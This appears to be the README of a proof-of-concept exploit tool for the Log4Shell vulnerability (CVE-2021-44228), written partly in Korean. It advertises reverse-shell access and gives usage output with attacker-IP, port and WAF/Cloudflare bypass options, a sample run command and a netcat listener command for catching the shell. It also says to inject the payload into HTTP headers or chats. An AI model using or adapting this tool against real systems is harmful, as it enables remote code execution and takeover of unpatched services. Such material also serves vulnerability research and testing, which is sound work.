
CVE-2021-44228 취약점에 대한 개념 증명 익스플로잇
CVE-2021-44228 취약점에 대한 개념 증명 익스플로잇입니다.
보안 및 성능 정보를 기록하는 데 사용되는 Log4j는 다양한 소비자 및 엔터프라이즈 서비스, 웹사이트 및 애플리케이션은 물론 의료 기기 및 지원 시스템에서 Java를 사용하는 30억 개 이상의 기기에 영향을 미칩니다.
참고: 이것은 '클릭 한 번'으로 동작하는 익스플로잇이 아닙니다. 초기 트리거 페이로드가 생성되지만, 이를 적절한 위치(예: HTTP 헤더/채팅 등)에 주입하는 것은 사용자의 몫입니다.
usage: python CVE-2021-44228-exploit.py --help
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html
usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]
log4shell Reverse shell exploit
optional arguments:
-h, --help show this help message and exit
--userip userip Enter IP for LDAPRefServer & Shell
--webport webport listener port for HTTP port
--lport lport Netcat Port
-b bypass, --bypass bypass
Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
${lower:x} method restriction bypass
python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods
2) 로컬 머신에서 포트 9001에서 netcat 실행
nc -lvnp 9001
